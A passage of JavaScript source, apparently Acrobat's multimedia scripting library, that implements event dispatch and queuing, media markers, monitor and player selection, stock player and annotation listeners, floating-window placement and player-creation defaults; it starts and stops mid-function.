	    // PDF events may have spaces in their names, so make a copy of event.name with spaces removed

	    event.media.id = event.name.replace( / /, '' );



	    // Use doc and events properties in either event.target or in the event object itself

	    if( event.target )

	    {

		    event.media.doc = event.target.doc;

		    event.media.events = event.target.events;

	    }



	    ++this.dispatching;  // if this.dispatching > 0, events.remove() will use deferred removal



	    try

	    {

		    // First call immediate (onFoo) listener methods

		    this.privDispatchNow( 'on', event );  // may reenter this function



		    // Turn stopDispatch off in case an immediate listener turned it on

		    delete event.stopDispatch;



		    // If there are any deferred (afterFoo) listeners, post event to queue,

		    // but don't bother if an immediate listener stopped all dispatching

		    if( ! event.stopAllDispatch )

			    if( this.listeners[ 'afterEveryEvent' ]  ||  this.listeners[ 'after' + event.media.id ] )

				    app.media.priv.postEvent( event );

	    }

	    catch( e )

	    {

		    app.media.priv.trace( 'di throw: ' + e.message );

	    }



	    --this.dispatching;



	    // If any event listeners were marked for removal while we were dispatching events,

	    // and we are done with any nested dispatch calls, then clean up the listener arrays.

	    if( this.needCleanup  &&  ! this.dispatching )

		    this.privCleanup();

    },





    // Private method for events.dispatch().

    // Clean up any event listener arrays that have had entries marked for removal.

    // Each event name that needs to be cleaned up has an entry in this.removed.

    // Each listener that is to be removed has been set to null.



    privCleanup: function()

    {

	    for( var name in this.removed )

	    {

		    var array = this.listeners[name];

		    for( var i = 0;  i < array.length;  i++ )

		    {

			    if( ! array[i] )

				    array.splice( i--, 1 );  // Remove listener from array and back up index

		    }



		    if( array.length == 0 )

			    delete this.listeners[name];  // Remove listener array if it's now empty

	    }



	    this.removed = {};



	    this.privSetDispatch();  // Remove the dispatch method if there are no more listeners



	    delete this.needCleanup;

    },





    // Private method for events.dispatch().

    // Immediately dispatch a single event to all listeners for that event.

    // prefix is 'on' or 'after', and event is the event object.

    // Calls both EveryEvent listener methods and any specific listener methods for the event.

    // This function is reentrant.



    privDispatchNow: function( prefix, event )

    {

	    this.privCallMethods( event, prefix + 'EveryEvent' );  // may reenter this function

	    this.privCallMethods( event, prefix + event.media.id );  // may reenter this function

    },





    // Private method for events.dispatch().

    // Loop through the events.listeners[name] array and call each event listener method found

    // there, with 'this' as the event listener object that contains the method.

    // If new listeners are added while dispatching, they will also be called.

    // This function is reentrant.



    privCallMethods: function( event, name )

    {

	    var array = this.listeners[name];

	    if( array )

	    {

		    // Call each listener method in the array

		    for( var i = 0;  i < array.length;  i++ )

		    {

			    if( event.stopDispatch || event.stopAllDispatch )

				    break;



			    var listener = array[i];

			    if( listener )	// listener is null if removed while dispatching

				    listener[name]( event );  // may reenter this function

		    }

	    }

    },





    }

    // end app.media.Events.prototype





    // A simple event queue.



    // app.media.priv.postEvent(event) and app.media.priv.dispatchQueuedEvents() use

    // doc.media.priv.queue to manage a per-doc event queue.

    // This private method has the same restrictions on calling it as app.media.Events.privDispatch().



    app.media.priv.postEvent = function( event )

    {

	    var doc = event.media.doc;

	    var p = doc.media.priv;

	    var q = p.queue;

	    if( ! q )

		    q = p.queue = {};



	    if( ! q.list )

		    q.list = [];



	    q.list.push( event );



	    if( ! q.timer )

	    {

		    // no disp while modal dlg up

		    q.timer = app.setTimeOut( 'app.media.priv.dispatchPostedEvents(this);', 1, false );

		    q.timer.media = { doc: doc };  // allow access to doc from timer obj

	    }

    }





    // Called from the short timer set by app.media.priv.postEvent() to dispatch all posted events.



    app.media.priv.dispatchPostedEvents = function( doc )

    {

	    try

	    {

		    // If doc already closed, bail! Closing doc does NOT unregister timeouts!

		    // They may or may not fire depending on whether they are GCed before getting fired.

		    if( doc.closed )

			    return;



		    // Grab and delete queue--any new event queued while dispatching will be dispatched later

		    var q = doc.media.priv.queue;

		    var list = q.list;

		    delete q.list;

		    delete q.timer;



		    if( list && list.length ) for( var i = 0;  i < list.length;  i++ )

		    {

			    // Stop dispatching "after" events if the doc is closed, checked here in case an

			    // event method closes the doc. Do not check in privCallMethods--an event method

			    // that closes the doc should set event.stopDispatchAll.

			    if( doc.closed )

				    return;



			    var e = list[i];

			    if( e.media.events )

				    e.media.events.privDispatchNow( "after", e );

		    }

	    }

	    catch( e )

	    {

		    app.media.priv.trace( 'dpe throw: ' + e.message );

	    }

    }





    // app.media.Markers constructor and prototype



    app.media.Markers = function( player )

    {

	    this.player = player;

    }





    app.media.Markers.prototype =

    {



    // Finds a marker by name, index number, time, or frame.

    // Index numbers are not in any guaranteed order.

    // If a time or frame is given, returns the nearest marker at or before that location.

    // Returns null if no matching marker is found.

    //

    // marker = markers.get( cName );

    // marker = markers.get({ name: cName });

    // marker = markers.get({ index: nIndex });

    // marker = markers.get({ time: nSeconds });

    // marker = markers.get({ frame: nFrame });



    get: function( m )

    {

	    if( ! this.privByIndex )

		    this.player.privLoadMarkers();



	    var retMarker = null;



	    if( this.privByIndex.length > 0 )

	    {

		    switch( typeof(m) )

		    {

			    case 'string':

				    retMarker = this.privByName[m];

				    break;



			    case 'object':

				    retMarker = (

					    m.name  !== undefined ? this.privByName[ m.name ] :

					    m.index !== undefined ? this.privByIndex[ m.index ] :

					    m.time  !== undefined ? this.privFind( 'time',  m.time  ) :

					    m.frame !== undefined ? this.privFind( 'frame', m.frame ) :

					    undefined );

				    break;

		    }

	    }



	    if( retMarker === undefined )

		    retMarker = null;



	    return retMarker;

    },





    // Private method for markers.get() to find a marker by time or frame.



    privFind: function( prop, value )

    {

	    if( value < 0 )

		    return;  // negative time or frame not allowed



	    var array = this.privByIndex;

	    var length = array.length;



	    // Search for nearest marker <= passed value; does not assume any sort order.

	    var nearIdx;

	    var nearDist = Infinity;

	    for( var i = 0;  i < length;  i++ )

	    {

		    // Test for undefined in case some markers have time and some have frame

		    var v = array[i][prop];

		    if( v !== undefined )

		    {

			    var dist = ( value - v );

			    if( dist >= 0  &&  dist < nearDist )

			    {

				    // have a new "nearest marker <= value"

				    nearIdx = i;

				    nearDist = dist;

			    }

		    }

	    }



	    if( nearIdx !== undefined )

		    return array[ nearIdx ];

    },





    }

    // end app.media.Markers.prototype





    // app.Monitors constructor and prototype



    app.Monitors = function()

    {

	    this.length = 0;

    }





    app.Monitors.prototype =

    {





    // monitors.clear()



    clear: function()

    {

	    while( this.length > 0 )

		    delete this[ --this.length ];

    },





    // monitors.push( value )

    // Appends a reference to a monitor object to the array.



    push: function( value )

    {

	    this[ this.length++ ] = value;

    },





    // monitors = monitors.select( monitorType, doc )

    // Filter a Monitors array based on an app.media.monitorType value as used in PDF.

    // doc is required if monitorType is app.media.monitorType.document or

    // app.media.monitorType.nonDocument, otherwise it is ignored.

    // Returns new array of references to the selected monitor objects.



    select: function( monitorType, doc )

    {

	    switch( monitorType )

	    {

		    default:

		    case app.media.monitorType.document:	return this.document(doc).primary();

		    case app.media.monitorType.nonDocument:	return this.nonDocument(doc).primary();

		    case app.media.monitorType.primary:		return this.primary();

		    case app.media.monitorType.bestColor:	return this.bestColor().primary();

		    case app.media.monitorType.largest:		return this.largest().primary();

		    case app.media.monitorType.tallest:		return this.tallest().primary();

		    case app.media.monitorType.widest:		return this.widest().primary();

	    }

    },





    // monitors.filter( ranker, minRank )

    // Returns a Monitors array containing the monitors that score the highest rank according to

    // the ranker function. The ranker function takes a Monitor parameter and returns a numeric or

    // boolean rank for it (or any type that can be converted to a number).

    // A numeric rank may be any finite value.

    // If minRank is not specified, the array returned always contains at least one element (unless

    // the original array was already empty).

    // If minRank is specified but the final rank is less, the array returned is empty.

    // If multiple monitors tie for the highest rank, the returned array contains those monitors in

    // the same order as the original array.



    filter: function( ranker, minRank )

    {

	    var r = new app.Monitors;

	    var rank = ( minRank != undefined ? minRank : -Infinity );



	    for( var i = 0;  i < this.length;  i++ )

	    {

		    // Rank the next Monitor object

		    var m = this[i];

		    var mRank = ranker( m );



		    // If it outranks the best previous ranking, clear the result list.

		    // If it's the same rank, add it to the result list.

		    if( mRank >= rank )

		    {

			    if( mRank > rank )

				    r.clear();  // new outranks old, clear result array



			    r.push( m );  // append new result to any same-ranked results

			    rank = mRank;  // save new rank

		    }

	    }



	    return r;

    },





    // monitors.bestColor( minColor )

    // Returns a Monitors array containing the monitor(s) that have the greatest color depth.

    // Returns empty array if minColor is specified and no monitor in the array has a color depth of

    // at least minColor bits.



    bestColor: function( minColor )

    {

	    return this.filter(

		    function( m ) { return m.colorDepth; },

		    minColor );

    },





    // monitors.bestFit( width, height, bRequire )

    // Returns a Monitors array containing the monitor(s) that have at least the specified width and

    // height with the least amount of excess area. If all monitors are smaller than the specified

    // width and height, then returns an empty array if bRequire is true, or an array of the largest

    // available monitors if bRequire is false.



    bestFit: function( width, height, bRequire )

    {

	    var tiny = -1000000000;

	    var area = ( width * height );



	    return this.filter(

		    function( m )

		    {

			    var mWidth  = m.rect[2] - m.rect[0];

			    var mHeight = m.rect[3] - m.rect[1];



			    // Rank lowest if it doesn't fit at all, else rank by least excess area

			    return(

				    width > mWidth  ||  height > mHeight  ?  tiny  :

				    area - ( mWidth * mHeight ) );

		    },

		    bRequire ? ( tiny + 1 ) : tiny );

    },





    // monitors.desktop()

    // Returns a Monitors array with a single Monitor that represents the entire virtual desktop:

    //    rect = the union of all Monitor.rect values

    //    workRect = the union of all the workRect values (may include parts of monitors that are

    //               outside their workRects).

    //    colorDepth = the least color depth of any monitor

    //    isPrimary = (not present)



    desktop: function()

    {

	    if( ! this.length )

		    return [];



	    var r = { rect: [0,0,0,0], workRect: [0,0,0,0], colorDepth: Number.MAX_VALUE };



	    for( var i = 0;  i < this.length;  i++ )

	    {

		    var m = this[i];



		    r.rect = app.media.priv.rectUnion( r.rect, m.rect );

		    r.workRect = app.media.priv.rectUnion( r.workRect, m.workRect );

		    r.colorDepth = Math.min( r.colorDepth, m.colorDepth );

	    }



	    var result = new app.Monitors;

	    result.push( r );



	    return result;

    },





    // monitors.document( doc, bRequire )

    // Returns a Monitors array containing the monitor(s) that display the greatest amount of the

    // specified document.

    // If bRequire is true, returns empty array if the document does not appear on any monitor.

    // If bRequire is false and document does not appear on any monitor, returns array containing

    // all monitors.



    document: function( doc, bRequire )

    {

	    return this.mostOverlap( doc.outerDocWindowRect, bRequire ? 1 : undefined );

    },





    // monitors.largest( minArea )

    // Returns a Monitors array containing the monitor(s) with the greatest area.

    // Returns empty array if minArea is specified and the greatest area is less than that.



    largest: function( minArea )

    {

	    return this.filter(

		    function( m ) { return app.media.priv.rectArea( m.rect ); },

		    minArea );

    },





    // monitors.leastOverlap( rect, maxOverlapArea )

    // Returns a Monitors array containing the monitor(s) which have the least area overlapping rect.

    // Returns empty array if maxOverlapArea is specified and all monitors overlap rect by a greater

    // amount.



    leastOverlap: function( rect, maxOverlapArea )

    {

	    if( maxOverlapArea !== undefined )  // if undefined must stay undefined (-undefined is NAN)

		    maxOverlapArea = -maxOverlapArea;



	    return this.filter(

		    function( m ) { return -app.media.priv.rectIntersectArea( m.rect, rect ); }, maxOverlapArea );

    },





    // monitors.mostOverlap( rect, minOverlapArea )

    // Returns a Monitors array containing the monitor(s) which have the most area overlapping rect.

    // Returns empty array if minOverlapArea is specified and there is no monitor with at least that

    // much overlap.



    mostOverlap: function( rect, minOverlapArea )

    {

	    return this.filter(

		    function( m ) { return app.media.priv.rectIntersectArea( m.rect, rect ); },

		    minOverlapArea );

    },





    // monitors.nonDocument( doc, bRequire )

    // Returns a Monitors array containing the monitor(s) that display none of, or the least amount

    // of the specified document.

    // If parts of the document appear on every monitor, then returns empty array if bRequire is true

    // or a copy of the original monitors array if bRequire is false.



    nonDocument: function( doc, bRequire )

    {

	    return this.leastOverlap( doc.outerDocWindowRect, bRequire ? 0 : undefined );

    },





    // monitors.primary()

    // Returns a Monitors array containing at most one entry, the primary monitor.



    primary: function()

    {

	    return this.filter(

		    function( m ) { return m.isPrimary; },

		    1 );

    },





    // monitors.secondary()

    // Returns a Monitors array containing all secondary (non-primary) monitors.



    secondary: function()

    {

	    return this.filter(

		    function( m ) { return ! m.isPrimary; },

		    1 );

    },





    // monitors.tallest( minHeight )

    // Returns a Monitors array containing the monitor(s) with the greatest height.



    tallest: function( minHeight )

    {

	    return this.filter(

		    function( m ) { return m.rect[3] - m.rect[1]; },

		    minHeight );

    },





    // monitors.widest( minWidth )

    // Returns a Monitors array containing the monitor(s) with the greatest width.



    widest: function( minWidth )

    {

	    return this.filter(

		    function( m ) { return m.rect[2] - m.rect[0]; },

		    minWidth );

    },





    }

    // end app.Monitors.prototype





    // app.media.Players constructor and prototype



    app.media.Players = function()

    {

	    this.length = 0;

    }





    app.media.Players.prototype =

    {





    // Players.clear()



    clear: function()

    {

	    while( this.length > 0 )

		    delete this[ --this.length ];

    },





    // Players.push( value )

    // Appends a reference to a Player object to the array.



    push: function( value )

    {

	    this[ this.length++ ] = value;

    },





    // players = Players.select( args )

    // Filters a Players array based on any of the PlayerInfo properties.

    // The array is not in any particular order.

    // The object argument lists the properties to filter on.

    // String properties (id, name, version) can use either strings or regular expressions.

    // Example: get all players with 'QuickTime' in the id:

    //	var p = app.media.getPlayers().select({ id: /QuickTime/ });

    // All specified properties must be present and must match exactly (or must pass regex match).

    // If no properties are specified, all Players in the array will be present in the returned array.

    // If no players in the array match the search criteria, returns an empty Players array.



    select: function( args )

    {

	    var r = new app.media.Players;



	    for( var i = 0;  i < this.length;  i++ )

	    {

		    var info = this[i];  // Get the PlayerInfo object

		    var ok = true;



		    for( var prop in args )  // check each property that the caller passed in

		    {

			    if( !( prop in info ) )

				    return [];  // unknown selection property, probably future PDF version, give up



			    // Handle either a regular expression or a string, number, or boolean comparison

			    if( args[prop].exec ? args[prop].exec(info[prop]) == null : args[prop] != info[prop] )

			    {

				    ok = false;

				    break;

			    }

		    }



		    if( ok )

			    r.push( info );  // passed all tests, append reference to PlayerInfo

	    }



	    return r;

    },





    }

    // end app.media.Players.prototype





    // app.media.MediaPlayer constructor and prototype



    app.media.MediaPlayer = function()

    {

    }





    app.media.MediaPlayer.prototype =

    {





    // MediaPlayer.open()



    open: function()

    {

	    var ret;



	    var priv = this.doc.media.priv;

	    if( ! priv.players )

		    priv.players = [];



	    priv.players.push( this );



	    try

	    {

		    // Add stock annot events and cross-references only if we open the movie

		    if( this.annot )

		    {

			    app.media.priv.AddStockEventsHelper(

				    this.annot, app.media.getAnnotStockEvents( this.settings.windowType ) );

			    this.annot.player = this;

		    }



		    ret = this.privOpen.apply( this, arguments );

		    if( ret.code != app.media.openCode.success )

			    app.media.removeStockEvents( this );

	    }

	    catch( e )

	    {

		    app.media.removeStockEvents( this );

		    this.privOnClose();

		    throw e;

	    }



	    return ret;

    },





    // MediaPlayer.privOnClose()



    privOnClose: function()

    {

	    // Delete this player from open players array

	    var players = this.doc.media.priv.players;

	    for( i = 0;  i < players.length;  i++ )

	    {

		    if( players[i] == this )

		    {

			    players.splice( i, 1 );

			    return;

		    }

	    }

    },





    }

    // end app.media.MediaPlayer.prototype





    // Determine whether any media playback is allowed and return true if it is.

    // If playback is not allowed, then alert the user and return false.



    // bCanPlay = app.media.canPlayOrAlert({ doc: Doc });



    app.media.canPlayOrAlert = function( args )

    {

	    var canPlay = args.doc.media.canPlay;

	    if( canPlay.yes )

		    return true;  // Playback is allowed



	    app.media.alert( 'CannotPlay', args, { canPlay: canPlay } );



	    return false;

    }





    // Return a settings object to play a rendition, if all playback requirements are met.

    // Otherwise return settings to "play" alt text, if showAltText and showEmptyAltText allow and

    // alt text is available, or else return null.



    // settings = app.media.getRenditionSettings({

    //	   doc: Doc,

    //     settings: MediaSettings, /* Optional, shallow-copied into returned settings */

    //     rendition: MediaRendition or RenditionList,

    //     showAltText: Boolean, /* Optional, default = false */

    //     showEmptyAltText: boolean, /* Optional, default = false */

    //     fromUser: boolean /* Optional, default = false */

    // });



    app.media.getRenditionSettings = function( args )

    {

	    var settings;



	    var selection = args.rendition.select( true );

	    if( selection.rendition )

	    {

		    try

		    {

			    // Get playback settings from rendition - throws on failure, never returns null

			    settings = selection.rendition.getPlaySettings( true );

			    settings.players = selection.players;

			    app.media.priv.copyProps( args.settings, settings );  // copy the user's settings



			    return settings;

		    }

		    catch( e )

		    {

			    // FNF or open failure? Rethrow the exception unless we can handle it here

			    if( e.name != "RaiseError" )

				    throw e;



			    if( e.raiseSystem != app.media.raiseSystem.fileError )

				    throw e;



			    if( e.raiseCode != app.media.raiseCode.fileNotFound  &&

				    e.raiseCode != app.media.raiseCode.fileOpenFailed )

				    throw e;



			    app.media.alert( 'FileNotFound', args, { fileName: selection.rendition.fileName } );

		    }

	    }

	    else  // no rendition in selection

	    {

		    app.media.alert( 'SelectFailed', args, { selection: selection } );

	    }



	    // Did we fail after finding a rendition? If so, use its alt text if allowed

	    return app.media.getAltTextSettings( args, selection );

    }





    // Return the first media rendition in a rendition list, or null if there is no match.



    app.media.getFirstRendition = function( list )

    {

	    for( var i = 0;  i < list.length;  i++ )

	    {

		    if( list[i].rendition.type == app.media.renditionType.media )

			    return list[i].rendition;

	    }



	    return null;

    }





    // Return a settings object with a data property to play a URL.

    // Any properties in args.settings are shallow-copied into the returned settings object.



    // settings = app.media.getURLSettings({

    //     URL: String, /* required */

    //     mimeType: String, /* optional */

    //     settings: MediaSettings /* optional */

    // });



    app.media.getURLSettings = function( args )

    {

	    // Get a data object for the URL and MIME type

	    var settings =

	    {

		    data: app.media.getURLData( args.URL, args.mimeType )

	    }



	    app.media.priv.copyProps( args.settings, settings );  // copy the user's settings



	    return settings;

    }





    // Return an alt text settings object for a selection, or null if there's no alt text available,

    // or if alt text should not be used in this situation.

    // Arguments are the same as app.media.getRenditionSettings().

    // Any properties in args.settings are shallow-copied into the returned settings object.



    app.media.getAltTextSettings = function( args, selection )

    {

	    if( ! args.showAltText )

		    return null;



	    var rendition = selection.rendition || app.media.getFirstRendition( selection.rejects );

	    if( ! rendition )

		    return null;



	    settings = rendition.getPlaySettings( false );

	    app.media.priv.copyProps( args.settings, settings );  // copy the user's settings



	    // Use alt text only when docked (compute default windowType first if needed)

	    if( ! settings.windowType )

		    settings.windowType = app.media.priv.computeDefaultWindowType( args, settings );

	    if( settings.windowType != app.media.windowType.docked )

		    return null;



	    // Get the alt text, or default text if none specified and showEmptyAltText is true

	    var text = rendition.altText;

	    if( text.length == 0 )

	    {

		    if( ! args.showEmptyAltText )

			    return null;



		    text = app.media.priv.getString( "IDS_ERROR_NO_ALT_TEXT_SPECIFIED" );

	    }



	    settings.data = app.media.getAltTextData( text );



	    settings.players = [ app.media.priv.altTextPlayerID ];



	    return settings;

    }





    // Add the standard event listeners to a player.

    // If annot is specified, set up so when the player is opened, the annot will have its standard

    // event listeners attached. The player.annot and annot.player cross-references will be

    // installed at the same time.

    // The player must have a settings property. In the settings property, windowType and visible

    // are the only values used here. The visible property may be modified here and restored later

    // in the afterReady listener.



    app.media.addStockEvents = function( player, annot )

    {

	    if( player.stockEvents )

		    return;  // already added stock events



	    app.media.priv.AddStockEventsHelper( player,

		    app.media.getPlayerStockEvents( player.settings ) );



	    if( annot )

	    {

		    // remember that annot needs stock events attached when player is opened

		    player.annot = annot;

	    }

    }





    // Private function to add stock events to an object. Saves a reference to the original stock

    // events in object.stockEvents for later removal. object.stockEvents must not be modified after

    // it is saved here, or removal will not work correctly.



    app.media.priv.AddStockEventsHelper = function( object, events )

    {

	    object.stockEvents = events;



	    if( ! object.events )

		    object.events = new app.media.Events;



	    object.events.add( events )

    }





    // Remove the standard event listeners and cross-references from a player and its associated annot.

    // Does nothing if no stock events (never added or already removed).



    app.media.removeStockEvents = function( player )

    {

	    if( ! player  ||  ! player.stockEvents )

		    return;



	    function removeProps( object )

	    {

		    if( object.events )

		    {

			    object.events.remove( object.stockEvents );

			    delete object.stockEvents;

		    }

	    }



	    removeProps( player );



	    if( player.annot )

	    {

		    if( player.annot.stockEvents )

			    removeProps( player.annot );



		    delete player.annot.player;

		    delete player.annot;

	    }

    }





    // Return floating window rect for a doc, floating params, monitor to play on, and

    // optional array containing the dimensions [l,r,t,b] of any additional controller UI.



    // NOTE: this method is called from both JS and C++ code, so do not change its signature

    // without great care!



    app.media.computeFloatWinRect = function( doc, floating, whichMonitor, uiSize )

    {

	    // Figure out rect in virtual desktop space that we are positioning relative to

	    var overRect;

	    switch( floating.over )

	    {

		    default:

		    case app.media.over.pageWindow:

			    overRect = doc.pageWindowRect;

			    break;



		    case app.media.over.appWindow:

			    // Inner more consistent placement because no borders etc.

			    overRect = doc.innerAppWindowRect;

			    break;



		    case app.media.over.desktop:

			    overRect = app.monitors.desktop()[0].rect;

			    break;



		    case app.media.over.monitor:

			    overRect = app.monitors.select( whichMonitor, doc )[0].workRect;

			    break;

	    }



	    // Get the border sizes for this window

	    var border = app.media.getWindowBorderSize( floating );



	    // Align floating window with overRect according to align, using the

	    // floating window rect plus the border sizes

	    rect = app.media.priv.rectAlign(

		    overRect, floating.align,

		    floating.width  + border[0] + border[2],

		    floating.height + border[1] + border[3] );



	    // Grow the rect by the UI size (if any)

	    if( uiSize )

		    rect = app.media.priv.rectGrow( rect, uiSize );



	    return rect;

    }





    // Return a new instance of the standard player events for the given settings.

    // In the settings property, windowType and visible are the only values used here.

    // The settings.visible property may be modified here, and restored later in an afterReady event.

    // If you call this method directly and there is an annot associated with the player, you must

    // set player.annot and annot.player as shown in addStockEvents().



    app.media.getPlayerStockEvents = function( settings )

    {

	    var events = new app.media.Events;



	    if( app.media.trace )

		    events.add( app.media.getPlayerTraceEvents() );



	    events.add(

	    {

		    onClose: function( e )

		    {

			    var annot = e.target.annot;



			    app.media.removeStockEvents( e.target );	// must do this before setFocus call below



			    if( annot )

			    {

				    annot.extFocusRect = null;



				    // If docked screen had focus when closed, and further playback is allowed,

				    // put focus back on annot

				    if( e.media.hadFocus  &&

				        e.target.settings.windowType == app.media.windowType.docked  &&

				        e.media.doc.media.canPlay.yes )

				    {

					    // Allow async setFocus since we're in event method

					    // Does not fire stock annot Focus event because stock events removed above

					    annot.setFocus( true );

				    }

			    }

		    },



		    afterDone: function( e )

		    {

			    e.target.close( app.media.closeReason.done );  // fires Close and may fire Blur

		    },



		    afterError: function( e )

		    {

			    app.media.alert( 'PlayerError', e.target.args, { errorText: e.media.text } );

			    e.target.close( app.media.closeReason.error );  // fires Close and may fire Blur

		    },



		    afterEscape: function( e )

		    {

			    e.target.close( app.media.closeReason.uiScreen );  // fires Close and may fire Blur

		    }

	    });



	    // Add player event listeners for specific window types

	    switch( settings.windowType )

	    {

		    case app.media.windowType.docked:

		    {

			    events.add(

			    {

				    onGetRect: function( e )

				    {

					    if( e.target.annot )

					    {

						    // Get the annot's rectangle and expand it to include any

                            // visible media player user interface. Return this rectangle in

						    // the event object, and also use it as the annot's focus rect.

						    e.target.annot.extFocusRect = e.media.rect =

							    app.media.priv.rectGrow(

								    e.target.annot.innerDeviceRect, e.target.uiSize );

					    }

				    },



				    onBlur: function( e )

				    {

					    if( e.target.annot )

						    e.target.annot.alwaysShowFocus = false;

				    },



				    onFocus: function( e )

				    {

					    if( e.target.annot )

						    e.target.annot.alwaysShowFocus = true;

				    }

			    });

		    }

		    break;



		    case app.media.windowType.floating:

		    {

			    // Need either a rect or a width and height

			    if ( !settings.floating.rect && ( !settings.floating.width || !settings.floating.height ) )

				    app.media.priv.throwBadArgs();	// throw exception



			    if( settings.visible === undefined )

				    settings.visible = app.media.defaultVisible;



			    if( settings.visible )

			    {

				    // Hide floating window while it's being created, then show it after the

				    // controller dimensions are available

				    settings.visible = false;



				    events.add(

				    {

					    afterReady: function( e )

					    {

						    var floating = e.target.settings.floating;

						    var rect = floating.rect;  // take user-provided rect, or calculate one

						    if( ! rect )

						    {

							    rect = app.media.computeFloatWinRect( e.media.doc, floating,

								    e.target.settings.monitorType, e.target.uiSize );

						    }

						    else

						    {

							    // Grow passed rect by UI size

							    rect = app.media.priv.rectGrow( rect, e.target.uiSize );

						    }



						    // Are we supposed to move the window onscreen if it is offscreen?

						    if( floating.ifOffScreen == app.media.ifOffScreen.forceOnScreen )

						    {

							    // Make sure window rect is totally onscreen, NOP if onscreen already

							    rect = app.media.constrainRectToScreen( rect,

								    app.media.priv.rectAnchorPt( rect, floating.align ) );

						    }



						    // Set the outer rect

						    e.target.outerRect = rect;



						    // Show the window and give it the focus

						    e.target.visible = true;

						    e.target.setFocus();	// fires Focus event

					    }

				    });

			    }

		    }

		    break;

	    }



	    return events;

    }





    // Return a new instance of the debug trace event listeners for a player.



    app.media.getPlayerTraceEvents = function()

    {

	    return new app.media.Events(

	    {

		    onEveryEvent: function( e )

		    {

			    if( e.media.id != 'GetRect' )  // cannot trace inside onGetRect, it can hang Acrobat

				    app.media.priv.trace( 'player event: on' + e.media.id );

		    },



		    afterEveryEvent: function( e )

		    {

			    app.media.priv.trace( 'player event: after' + e.media.id );

		    },



		    onScript: function( e )

		    {

			    app.media.priv.trace( "player onScript('" + e.media.command + "','" + e.media.param + "')" );

		    },



		    afterScript: function( e )

		    {

			    app.media.priv.trace( "player afterScript('" + e.media.command + "','" + e.media.param + "')" );

		    },



		    onStatus: function( e )

		    {

			    app.media.priv.trace( "player onStatus: " +

				    ( e.media.progress >= 0 ? e.media.progress + "/" + e.media.total + ", " : "" ) +

				    "  status code: " + e.media.code + ": '" + e.media.text + "'" );

		    },



		    afterStatus: function( e )

		    {

			    app.media.priv.trace( "player afterStatus: " +

				    ( e.media.progress >= 0 ? e.media.progress + "/" + e.media.total + ", " : "" ) +

				    "  status code: " + e.media.code + ": '" + e.media.text + "'" );

		    }

	    });

    }





    // Return a new instance of the standard annot events:

    // For a docked player, handle Focus and Blur to give the player the focus instead of the annot.

    // For any type of player, close the player on Destroy.



    app.media.getAnnotStockEvents = function( windowType )

    {

	    var events = new app.media.Events;



	    if( app.media.trace )

		    events.add( app.media.getAnnotTraceEvents() );



	    events.add(

	    {

		    onDestroy: function( e )

		    {

			    if( e.target.player )

			    {

				    // NOP if not open

				    // fires Close and possibly other events

				    e.target.player.close( app.media.closeReason.docChange );

			    }

		    },

	    } );



	    if( windowType == app.media.windowType.docked )

	    {

		    events.add(

		    {

			    onFocus: function( e )

			    {

				    // If player is open, give it the focus. This event could be fired while doing

				    // UI inside player.open() or the like.

				    if( e.target.player.isOpen )

				    {

					    e.target.player.setFocus();  // fires Focus for player and Blur for annot

				    }



				    // Prevent any action from being fired for the Focus event, since focus

				    // has already been removed inside setFocus(). If setFocus() not called,

				    // we're in the process of some sort of UI and we don't want random actions

				    // firing either.

				    e.stopDispatch = true;

			    },



			    onBlur: function( e )

			    {

				    // As with the Focus event, prevent any action from being fired for the Blur event.

				    // This also prevents anybody after us from seeing onBlur before onFocus because

				    // of our setFocus() call within onFocus.

				    e.stopDispatch = true;

			    }

		    });

	    }



	    return events;

    }





    // Return a new instance of the debug trace event listeners for an annot.



    app.media.getAnnotTraceEvents = function()

    {

	    return new app.media.Events(

	    {

		    onEveryEvent: function( e )

		    {

			    app.media.priv.trace( 'annot event: on' + e.media.id );

		    },



		    afterEveryEvent: function( e )

		    {

			    app.media.priv.trace( 'annot event: after' + e.media.id );

		    }

	    });

    }





    // Make a shallow copy of args and run our "Do What I Mean" logic on it, to fill in default values

    // used in app.media.createPlayer(). The original args object is not modified, and changes made

    // later to the copy do not affect the original. Objects inside args are shared between the

    // original and the copy, and changes made inside these objects are visible from both args objects.



    // If args.annot or args.rendition are not defined, gets them from current event object.

    // If args.doc is not defined, gets it from args.annot or args.rendition.

    // Throws exception on failure.



    app.media.argsDWIM = function( args )

    {

	    if( args && args.privDWIM )

		    return args;  // already did a DWIM copy



	    args = app.media.priv.copyProps( args );

	    args.privDWIM = true;



	    // Use annot and rendition passed in parameters, or get them from event object

	    if( event && event.action )

	    {

		    if( ! args.annot )

			    args.annot = event.action.annot;	// TODO: it'd be nice to verify type of annot here...



		    if( ! args.rendition )

			    args.rendition = event.action.rendition;

	    }



	    // Get doc from rendition or annot if args.doc not provided

	    if( ! args.doc )

	    {

			    if( args.rendition && args.annot )

				    if( args.rendition.doc != args.annot.doc )

					    app.media.priv.throwBadArgs();



			    if( args.rendition )

				    args.doc = args.rendition.doc;

			    else if( args.annot )

				    args.doc = args.annot.doc;

		    }



	    // If fromUser is not specified, use !! to set it to true or false based on event name

	    if( args.fromUser === undefined )

		    args.fromUser = !!( event && event.name && ! app.media.pageEventNames[event.name] );



	    if( args.showAltText === undefined )

		    args.showAltText = true;



	    if( args.showEmptyAltText === undefined )

		    args.showEmptyAltText = ! args.fromUser;



	    return args;

    }





    // Private function for app.media.priv.createPlayer().



    app.media.priv.createPlayer = function( args )

    {

	    app.media.priv.trace( "app.media.priv.createPlayer" );



	    if( ! args.doc )

		    app.media.priv.throwBadArgs();	// doc is required



	    if( ! app.media.canPlayOrAlert( args ) )

		    return null;  // playback is not allowed, user has been notified



	    if( args.annot && args.annot.player )

	    {

		    args.annot.player.close( app.media.closeReason.play );	// fires events

		    // args.annot.player presumably is null now, unless onClose didn't null it out.

		    // Cannot create new player in onClose so shouldn't have any issues there

	    }



	    var player = args.doc.media.newPlayer({ args: args });



	    // Get a settings object for either a URL or a rendition, whichever was provided

	    // URL wins if both present.

	    player.settings =

		    args.URL ? app.media.getURLSettings( args ) :

		    args.rendition ? app.media.getRenditionSettings( args ) :

		    app.media.priv.throwBadArgs();  // need either rendition or URL



	    if( ! player.settings )

		    return null;  // user has been notified already



	    // If no windowType, compute default value

	    if( ! player.settings.windowType )

		    player.settings.windowType = app.media.priv.computeDefaultWindowType( args, player.settings );



	    // If windowType couldn't be computed, throw

	    if( ! player.settings.windowType )

		    app.media.priv.throwBadArgs();



	    switch( player.settings.windowType )

	    {

		    case app.media.windowType.docked:

		    {

			    if( player.settings.page === undefined )

			    {

				    if( ! args.annot )

					    app.media.priv.throwBadArgs();  // need either an annot or a page number



				    player.settings.page = args.annot.page;

			    }

		    }

		    break;



